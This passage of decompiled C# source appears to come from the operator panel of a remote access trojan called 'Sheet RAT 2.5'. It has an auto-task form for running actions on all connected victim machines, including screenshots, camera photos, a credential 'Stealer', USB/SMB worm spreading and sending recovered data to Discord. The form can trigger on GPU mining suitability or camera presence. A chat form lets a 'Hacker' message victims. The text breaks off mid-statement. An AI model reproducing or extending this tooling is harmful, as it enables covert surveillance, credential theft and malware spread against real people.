if (string.IsNullOrEmpty(inputBoxCustom.Input.Text))
|
||||
{
|
||||
inputBoxCustom.Dispose();
|
||||
return;
|
||||
}
|
||||
task.helperTrigger = JsonConvert.SerializeObject((object) new Group()
|
||||
{
|
||||
str = inputBoxCustom.Input.Text
|
||||
}, Formatting.Indented);
|
||||
inputBoxCustom.Dispose();
|
||||
}
|
||||
if (this.ComboBoxTrigger.SelectedIndex == 2)
|
||||
{
|
||||
InputBoxCustom inputBoxCustom = new InputBoxCustom();
|
||||
inputBoxCustom.Text = "Country Trigger";
|
||||
inputBoxCustom.Input.Text = "write Country";
|
||||
int num = (int) inputBoxCustom.ShowDialog();
|
||||
if (string.IsNullOrEmpty(inputBoxCustom.Input.Text))
|
||||
{
|
||||
inputBoxCustom.Dispose();
|
||||
return;
|
||||
}
|
||||
task.helperTrigger = JsonConvert.SerializeObject((object) new Country()
|
||||
{
|
||||
str = inputBoxCustom.Input.Text
|
||||
}, Formatting.Indented);
|
||||
inputBoxCustom.Dispose();
|
||||
}
|
||||
if (this.ComboBoxTrigger.SelectedIndex == 3)
|
||||
{
|
||||
InputBoxCustom inputBoxCustom = new InputBoxCustom();
|
||||
inputBoxCustom.Text = "Privilege (Admin = true, User = false)Trigger";
|
||||
inputBoxCustom.Input.Text = "true";
|
||||
int num = (int) inputBoxCustom.ShowDialog();
|
||||
if (string.IsNullOrEmpty(inputBoxCustom.Input.Text))
|
||||
{
|
||||
inputBoxCustom.Dispose();
|
||||
return;
|
||||
}
|
||||
if (inputBoxCustom.Input.Text == "true" || inputBoxCustom.Input.Text == "false")
|
||||
{
|
||||
task.helperTrigger = JsonConvert.SerializeObject((object) new Privilege()
|
||||
{
|
||||
enable = (inputBoxCustom.Input.Text == "true")
|
||||
}, Formatting.Indented);
|
||||
inputBoxCustom.Dispose();
|
||||
}
|
||||
else
|
||||
{
|
||||
inputBoxCustom.Dispose();
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (this.ComboBoxTrigger.SelectedIndex == 6)
|
||||
{
|
||||
InputBoxCustom inputBoxCustom = new InputBoxCustom();
|
||||
inputBoxCustom.Text = "Hwid Trigger";
|
||||
inputBoxCustom.Input.Text = "write Hwid";
|
||||
int num = (int) inputBoxCustom.ShowDialog();
|
||||
if (string.IsNullOrEmpty(inputBoxCustom.Input.Text))
|
||||
{
|
||||
inputBoxCustom.Dispose();
|
||||
return;
|
||||
}
|
||||
task.helperTrigger = JsonConvert.SerializeObject((object) new Hwid()
|
||||
{
|
||||
str = inputBoxCustom.Input.Text
|
||||
}, Formatting.Indented);
|
||||
inputBoxCustom.Dispose();
|
||||
}
|
||||
if (this.ComboBoxTrigger.SelectedIndex == 7)
|
||||
{
|
||||
InputBoxCustom inputBoxCustom = new InputBoxCustom();
|
||||
inputBoxCustom.Text = "GpuForMine (memory>4gb = true, memory<3gb = false) Trigger";
|
||||
inputBoxCustom.Input.Text = "true";
|
||||
int num = (int) inputBoxCustom.ShowDialog();
|
||||
if (string.IsNullOrEmpty(inputBoxCustom.Input.Text))
|
||||
{
|
||||
inputBoxCustom.Dispose();
|
||||
return;
|
||||
}
|
||||
if (inputBoxCustom.Input.Text == "true" || inputBoxCustom.Input.Text == "false")
|
||||
{
|
||||
task.helperTrigger = JsonConvert.SerializeObject((object) new GpuForMine()
|
||||
{
|
||||
enable = (inputBoxCustom.Input.Text == "true")
|
||||
}, Formatting.Indented);
|
||||
inputBoxCustom.Dispose();
|
||||
}
|
||||
else
|
||||
{
|
||||
inputBoxCustom.Dispose();
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (this.ComboBoxTrigger.SelectedIndex == 8)
|
||||
{
|
||||
InputBoxCustom inputBoxCustom = new InputBoxCustom();
|
||||
inputBoxCustom.Text = "Camera (Camera exists = true, not Camera = false) Trigger";
|
||||
inputBoxCustom.Input.Text = "true";
|
||||
int num = (int) inputBoxCustom.ShowDialog();
|
||||
if (string.IsNullOrEmpty(inputBoxCustom.Input.Text))
|
||||
{
|
||||
inputBoxCustom.Dispose();
|
||||
return;
|
||||
}
|
||||
if (inputBoxCustom.Input.Text == "true" || inputBoxCustom.Input.Text == "false")
|
||||
{
|
||||
task.helperTrigger = JsonConvert.SerializeObject((object) new CameraTrue()
|
||||
{
|
||||
enable = (inputBoxCustom.Input.Text == "true")
|
||||
}, Formatting.Indented);
|
||||
inputBoxCustom.Dispose();
|
||||
}
|
||||
else
|
||||
{
|
||||
inputBoxCustom.Dispose();
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (this.ComboBoxTrigger.SelectedIndex == 10)
|
||||
{
|
||||
InputBoxCustom inputBoxCustom = new InputBoxCustom();
|
||||
inputBoxCustom.Text = "Group Trigger";
|
||||
inputBoxCustom.Input.Text = "write Group";
|
||||
int num = (int) inputBoxCustom.ShowDialog();
|
||||
if (string.IsNullOrEmpty(inputBoxCustom.Input.Text))
|
||||
{
|
||||
inputBoxCustom.Dispose();
|
||||
return;
|
||||
}
|
||||
task.helperTrigger = JsonConvert.SerializeObject((object) new Group()
|
||||
{
|
||||
str = inputBoxCustom.Input.Text
|
||||
}, Formatting.Indented);
|
||||
inputBoxCustom.Dispose();
|
||||
}
|
||||
DataGridViewRow dataGridViewRow = new DataGridViewRow();
|
||||
dataGridViewRow.Tag = (object) task;
|
||||
DataGridViewCellCollection cells1 = dataGridViewRow.Cells;
|
||||
DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell();
|
||||
gridViewTextBoxCell1.Value = (object) task.Trigger.ToString();
|
||||
cells1.Add((DataGridViewCell) gridViewTextBoxCell1);
|
||||
DataGridViewCellCollection cells2 = dataGridViewRow.Cells;
|
||||
DataGridViewTextBoxCell gridViewTextBoxCell2 = new DataGridViewTextBoxCell();
|
||||
gridViewTextBoxCell2.Value = (object) task.Action.ToString();
|
||||
cells2.Add((DataGridViewCell) gridViewTextBoxCell2);
|
||||
DataGridViewCellCollection cells3 = dataGridViewRow.Cells;
|
||||
DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell();
|
||||
gridViewTextBoxCell3.Value = (object) task.runs.ToString();
|
||||
cells3.Add((DataGridViewCell) gridViewTextBoxCell3);
|
||||
DataGridViewCellCollection cells4 = dataGridViewRow.Cells;
|
||||
DataGridViewTextBoxCell gridViewTextBoxCell4 = new DataGridViewTextBoxCell();
|
||||
gridViewTextBoxCell4.Value = (object) task.TaskName;
|
||||
cells4.Add((DataGridViewCell) gridViewTextBoxCell4);
|
||||
Program.form.GridAutoTasks.Rows.Add(dataGridViewRow);
|
||||
task.rows = dataGridViewRow;
|
||||
if (!this.metroCheckBox1.Checked)
|
||||
return;
|
||||
foreach (Clients client in Program.form.ClientsAll())
|
||||
AutoTaskM.StartOnline(client, task, false);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.ComboBoxTrigger = new MetroComboBox();
|
||||
this.metroLabel4 = new MetroLabel();
|
||||
this.ComboBoxAction = new MetroComboBox();
|
||||
this.metroLabel1 = new MetroLabel();
|
||||
this.OnlyRun = new MetroCheckBox();
|
||||
this.metroButton1 = new MetroButton();
|
||||
this.Input = new MetroTextBox();
|
||||
this.metroLabel2 = new MetroLabel();
|
||||
this.metroCheckBox1 = new MetroCheckBox();
|
||||
this.SuspendLayout();
|
||||
this.ComboBoxTrigger.FontSize = MetroComboBoxSize.Small;
|
||||
this.ComboBoxTrigger.FormattingEnabled = true;
|
||||
this.ComboBoxTrigger.ItemHeight = 19;
|
||||
this.ComboBoxTrigger.Items.AddRange(new object[12]
|
||||
{
|
||||
(object) "ActiveWindow",
|
||||
(object) "Group",
|
||||
(object) "Country",
|
||||
(object) "Privilege",
|
||||
(object) "NewClient",
|
||||
(object) "AllClient",
|
||||
(object) "Hwid",
|
||||
(object) "GpuForMine",
|
||||
(object) "CameraTrue",
|
||||
(object) "NotLogs",
|
||||
(object) "NewClientGroup",
|
||||
(object) "NotMapBD"
|
||||
});
|
||||
this.ComboBoxTrigger.Location = new Point(22, 82);
|
||||
this.ComboBoxTrigger.Margin = new Padding(2);
|
||||
this.ComboBoxTrigger.Name = "ComboBoxTrigger";
|
||||
this.ComboBoxTrigger.Size = new Size(169, 25);
|
||||
this.ComboBoxTrigger.Style = MetroColorStyle.Lime;
|
||||
this.ComboBoxTrigger.TabIndex = 33;
|
||||
this.ComboBoxTrigger.Theme = MetroThemeStyle.Dark;
|
||||
this.ComboBoxTrigger.UseSelectable = true;
|
||||
this.ComboBoxTrigger.UseStyleColors = true;
|
||||
this.ComboBoxTrigger.SelectedIndexChanged += new EventHandler(this.comboBox1_SelectedIndexChanged);
|
||||
this.metroLabel4.AutoSize = true;
|
||||
this.metroLabel4.Location = new Point(213, 82);
|
||||
this.metroLabel4.Margin = new Padding(2, 0, 2, 0);
|
||||
this.metroLabel4.Name = "metroLabel4";
|
||||
this.metroLabel4.Size = new Size(69, 19);
|
||||
this.metroLabel4.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel4.TabIndex = 34;
|
||||
this.metroLabel4.Text = "<- Trigger";
|
||||
this.metroLabel4.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel4.UseStyleColors = true;
|
||||
this.ComboBoxAction.FontSize = MetroComboBoxSize.Small;
|
||||
this.ComboBoxAction.FormattingEnabled = true;
|
||||
this.ComboBoxAction.ItemHeight = 19;
|
||||
this.ComboBoxAction.Items.AddRange(new object[14]
|
||||
{
|
||||
(object) "Metka",
|
||||
(object) "ScreenShot",
|
||||
(object) "CameraPhoto",
|
||||
(object) "Notification",
|
||||
(object) "SendFromDisk",
|
||||
(object) "SendFromLink",
|
||||
(object) "Stealer",
|
||||
(object) "WormUsb",
|
||||
(object) "WormSmb",
|
||||
(object) "WormDesktop",
|
||||
(object) "WormDownload",
|
||||
(object) "FreendConnect",
|
||||
(object) "RecoverySendDiscord",
|
||||
(object) "Map"
|
||||
});
|
||||
this.ComboBoxAction.Location = new Point(22, (int) sbyte.MaxValue);
|
||||
this.ComboBoxAction.Margin = new Padding(2);
|
||||
this.ComboBoxAction.Name = "ComboBoxAction";
|
||||
this.ComboBoxAction.Size = new Size(169, 25);
|
||||
this.ComboBoxAction.Style = MetroColorStyle.Lime;
|
||||
this.ComboBoxAction.TabIndex = 35;
|
||||
this.ComboBoxAction.Theme = MetroThemeStyle.Dark;
|
||||
this.ComboBoxAction.UseSelectable = true;
|
||||
this.ComboBoxAction.UseStyleColors = true;
|
||||
this.metroLabel1.AutoSize = true;
|
||||
this.metroLabel1.Location = new Point(213, (int) sbyte.MaxValue);
|
||||
this.metroLabel1.Margin = new Padding(2, 0, 2, 0);
|
||||
this.metroLabel1.Name = "metroLabel1";
|
||||
this.metroLabel1.Size = new Size(65, 19);
|
||||
this.metroLabel1.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel1.TabIndex = 36;
|
||||
this.metroLabel1.Text = "<- Action";
|
||||
this.metroLabel1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel1.UseStyleColors = true;
|
||||
this.OnlyRun.AutoSize = true;
|
||||
this.OnlyRun.Location = new Point(208 /*0xD0*/, 186);
|
||||
this.OnlyRun.Name = "OnlyRun";
|
||||
this.OnlyRun.Size = new Size(100, 15);
|
||||
this.OnlyRun.Style = MetroColorStyle.Lime;
|
||||
this.OnlyRun.TabIndex = 53;
|
||||
this.OnlyRun.Text = "Only One Start";
|
||||
this.OnlyRun.Theme = MetroThemeStyle.Dark;
|
||||
this.OnlyRun.UseSelectable = true;
|
||||
this.OnlyRun.UseStyleColors = true;
|
||||
this.metroButton1.Location = new Point(22, 195);
|
||||
this.metroButton1.Name = "metroButton1";
|
||||
this.metroButton1.Size = new Size(89, 23);
|
||||
this.metroButton1.Style = MetroColorStyle.Lime;
|
||||
this.metroButton1.TabIndex = 54;
|
||||
this.metroButton1.Text = "Add";
|
||||
this.metroButton1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroButton1.UseSelectable = true;
|
||||
this.metroButton1.UseStyleColors = true;
|
||||
this.metroButton1.Click += new EventHandler(this.metroButton1_Click);
|
||||
this.Input.CustomButton.Image = (Image) null;
|
||||
this.Input.CustomButton.Location = new Point(147, 1);
|
||||
this.Input.CustomButton.Name = "";
|
||||
this.Input.CustomButton.Size = new Size(21, 21);
|
||||
this.Input.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.Input.CustomButton.TabIndex = 1;
|
||||
this.Input.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.Input.CustomButton.UseSelectable = true;
|
||||
this.Input.CustomButton.Visible = false;
|
||||
this.Input.Lines = new string[0];
|
||||
this.Input.Location = new Point(22, 164);
|
||||
this.Input.MaxLength = (int) short.MaxValue;
|
||||
this.Input.Name = "Input";
|
||||
this.Input.PasswordChar = char.MinValue;
|
||||
this.Input.ScrollBars = ScrollBars.None;
|
||||
this.Input.SelectedText = "";
|
||||
this.Input.SelectionLength = 0;
|
||||
this.Input.SelectionStart = 0;
|
||||
this.Input.ShortcutsEnabled = true;
|
||||
this.Input.Size = new Size(169, 23);
|
||||
this.Input.Style = MetroColorStyle.Lime;
|
||||
this.Input.TabIndex = 55;
|
||||
this.Input.Theme = MetroThemeStyle.Dark;
|
||||
this.Input.UseSelectable = true;
|
||||
this.Input.UseStyleColors = true;
|
||||
this.Input.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.Input.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.metroLabel2.AutoSize = true;
|
||||
this.metroLabel2.Location = new Point(217, 164);
|
||||
this.metroLabel2.Margin = new Padding(2, 0, 2, 0);
|
||||
this.metroLabel2.Name = "metroLabel2";
|
||||
this.metroLabel2.Size = new Size(91, 19);
|
||||
this.metroLabel2.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel2.TabIndex = 56;
|
||||
this.metroLabel2.Text = "<- Task Name";
|
||||
this.metroLabel2.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel2.UseStyleColors = true;
|
||||
this.metroCheckBox1.AutoSize = true;
|
||||
this.metroCheckBox1.Location = new Point(208 /*0xD0*/, 207);
|
||||
this.metroCheckBox1.Name = "metroCheckBox1";
|
||||
this.metroCheckBox1.Size = new Size(111, 15);
|
||||
this.metroCheckBox1.Style = MetroColorStyle.Lime;
|
||||
this.metroCheckBox1.TabIndex = 57;
|
||||
this.metroCheckBox1.Text = "Online User Start";
|
||||
this.metroCheckBox1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroCheckBox1.UseSelectable = true;
|
||||
this.metroCheckBox1.UseStyleColors = true;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(333, 266);
|
||||
this.Controls.Add((Control) this.metroCheckBox1);
|
||||
this.Controls.Add((Control) this.metroLabel2);
|
||||
this.Controls.Add((Control) this.Input);
|
||||
this.Controls.Add((Control) this.metroButton1);
|
||||
this.Controls.Add((Control) this.OnlyRun);
|
||||
this.Controls.Add((Control) this.metroLabel1);
|
||||
this.Controls.Add((Control) this.ComboBoxAction);
|
||||
this.Controls.Add((Control) this.metroLabel4);
|
||||
this.Controls.Add((Control) this.ComboBoxTrigger);
|
||||
this.Name = nameof (FormAutoTasksAdd);
|
||||
this.Style = MetroColorStyle.Lime;
|
||||
this.Text = "Auto Task";
|
||||
this.TextAlign = MetroFormTextAlign.Center;
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.Load += new EventHandler(this.FormAutoTasksAdd_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,265 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.FormChat
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using MetroFramework;
|
||||
using MetroFramework.Controls;
|
||||
using MetroFramework.Forms;
|
||||
using Server.Connection;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using Server.Properties;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class FormChat : MetroForm
|
||||
{
|
||||
public Clients client;
|
||||
public Clients ParentClient;
|
||||
public Image AvatarUser;
|
||||
public string User;
|
||||
private IContainer components;
|
||||
public Panel ChatikPanel;
|
||||
public Panel panel1;
|
||||
private PictureBox pictureBox1;
|
||||
public Timer timer1;
|
||||
private MetroTextBox textBox2;
|
||||
private MetroTextBox textBox1;
|
||||
private MetroButton button1;
|
||||
public MetroButton button2;
|
||||
|
||||
public FormChat() => this.InitializeComponent();
|
||||
|
||||
private void _FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
this.timer1.Stop();
|
||||
if (this.client != null)
|
||||
this.client.Disconnected();
|
||||
e.Cancel = false;
|
||||
}
|
||||
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.FormClosing += new FormClosingEventHandler(this._FormClosing);
|
||||
if (Customs.customs.Style != MetroColorStyle.Lime)
|
||||
{
|
||||
this.Style = Customs.customs.Style;
|
||||
this.button2.Style = Customs.customs.Style;
|
||||
this.button1.Style = Customs.customs.Style;
|
||||
this.textBox2.Style = Customs.customs.Style;
|
||||
this.textBox1.Style = Customs.customs.Style;
|
||||
}
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark)
|
||||
{
|
||||
this.Theme = Customs.customs.Theme;
|
||||
this.button2.Theme = Customs.customs.Theme;
|
||||
this.button1.Theme = Customs.customs.Theme;
|
||||
this.textBox2.Theme = Customs.customs.Theme;
|
||||
this.textBox1.Theme = Customs.customs.Theme;
|
||||
this.panel1.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue);
|
||||
}
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
private void pictureBox1_Click(object sender, EventArgs e)
|
||||
{
|
||||
using (OpenFileDialog openFileDialog = new OpenFileDialog())
|
||||
{
|
||||
openFileDialog.Filter = "All Graphics Types|*.bmp;*.jpg;*.jpeg;*.png";
|
||||
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
this.pictureBox1.Image = Image.FromFile(openFileDialog.FileName);
|
||||
}
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.client.Connect && this.ParentClient.Connect)
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button2_Click_1(object sender, EventArgs e)
|
||||
{
|
||||
string base64String;
|
||||
using (MemoryStream memoryStream = new MemoryStream())
|
||||
{
|
||||
this.pictureBox1.Image.Save((Stream) memoryStream, ImageFormat.Jpeg);
|
||||
base64String = Convert.ToBase64String(memoryStream.ToArray());
|
||||
}
|
||||
this.client.Send((object) $"SendInfo<@>{this.textBox2.Text}<@>{base64String}");
|
||||
}
|
||||
|
||||
private void button1_Click_1(object sender, EventArgs e)
|
||||
{
|
||||
this.client.Send((object) ("Message<@>" + Convert.ToBase64String(Encoding.UTF8.GetBytes(this.textBox1.Text))));
|
||||
Message message = new Message();
|
||||
message.ChatText.Text = $"{this.textBox2.Text}\n{this.textBox1.Text}";
|
||||
message.Width = this.ChatikPanel.Width - 10;
|
||||
message.Dock = DockStyle.Bottom;
|
||||
message.Avatar.Image = this.pictureBox1.Image;
|
||||
this.ChatikPanel.Controls.Add((Control) message);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormChat));
|
||||
this.ChatikPanel = new Panel();
|
||||
this.panel1 = new Panel();
|
||||
this.button2 = new MetroButton();
|
||||
this.textBox2 = new MetroTextBox();
|
||||
this.pictureBox1 = new PictureBox();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.textBox1 = new MetroTextBox();
|
||||
this.button1 = new MetroButton();
|
||||
this.panel1.SuspendLayout();
|
||||
((ISupportInitialize) this.pictureBox1).BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.ChatikPanel.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.ChatikPanel.Location = new Point(12, 63 /*0x3F*/);
|
||||
this.ChatikPanel.Name = "ChatikPanel";
|
||||
this.ChatikPanel.Size = new Size(667, 392);
|
||||
this.ChatikPanel.TabIndex = 0;
|
||||
this.panel1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.panel1.Controls.Add((Control) this.button2);
|
||||
this.panel1.Controls.Add((Control) this.textBox2);
|
||||
this.panel1.Controls.Add((Control) this.pictureBox1);
|
||||
this.panel1.Location = new Point(3, 63 /*0x3F*/);
|
||||
this.panel1.Name = "panel1";
|
||||
this.panel1.Size = new Size(687, 437);
|
||||
this.panel1.TabIndex = 3;
|
||||
this.button2.Anchor = AnchorStyles.None;
|
||||
this.button2.Location = new Point(305, 284);
|
||||
this.button2.Name = "button2";
|
||||
this.button2.Size = new Size(75, 23);
|
||||
this.button2.Style = MetroColorStyle.Lime;
|
||||
this.button2.TabIndex = 7;
|
||||
this.button2.Text = "Start";
|
||||
this.button2.Theme = MetroThemeStyle.Dark;
|
||||
this.button2.UseSelectable = true;
|
||||
this.button2.UseStyleColors = true;
|
||||
this.button2.Visible = false;
|
||||
this.button2.Click += new EventHandler(this.button2_Click_1);
|
||||
this.textBox2.Anchor = AnchorStyles.None;
|
||||
this.textBox2.CustomButton.Image = (Image) null;
|
||||
this.textBox2.CustomButton.Location = new Point(100, 1);
|
||||
this.textBox2.CustomButton.Name = "";
|
||||
this.textBox2.CustomButton.Size = new Size(21, 21);
|
||||
this.textBox2.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.textBox2.CustomButton.TabIndex = 1;
|
||||
this.textBox2.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.textBox2.CustomButton.UseSelectable = true;
|
||||
this.textBox2.CustomButton.Visible = false;
|
||||
this.textBox2.Lines = new string[1]{ "Hacker" };
|
||||
this.textBox2.Location = new Point(282, (int) byte.MaxValue);
|
||||
this.textBox2.MaxLength = (int) short.MaxValue;
|
||||
this.textBox2.Name = "textBox2";
|
||||
this.textBox2.PasswordChar = char.MinValue;
|
||||
this.textBox2.ScrollBars = ScrollBars.None;
|
||||
this.textBox2.SelectedText = "";
|
||||
this.textBox2.SelectionLength = 0;
|
||||
this.textBox2.SelectionStart = 0;
|
||||
this.textBox2.ShortcutsEnabled = true;
|
||||
this.textBox2.Size = new Size(122, 23);
|
||||
this.textBox2.Style = MetroColorStyle.Lime;
|
||||
this.textBox2.TabIndex = 6;
|
||||
this.textBox2.Text = "Hacker";
|
||||
this.textBox2.Theme = MetroThemeStyle.Dark;
|
||||
this.textBox2.UseSelectable = true;
|
||||
this.textBox2.UseStyleColors = true;
|
||||
this.textBox2.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.textBox2.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.pictureBox1.Anchor = AnchorStyles.None;
|
||||
this.pictureBox1.Image = (Image) Resources.images;
|
||||
this.pictureBox1.Location = new Point(282, 130);
|
||||
this.pictureBox1.Name = "pictureBox1";
|
||||
this.pictureBox1.Size = new Size(122, 103);
|
||||
this.pictureBox1.SizeMode = PictureBoxSizeMode.StretchImage;
|
||||
this.pictureBox1.TabIndex = 5;
|
||||
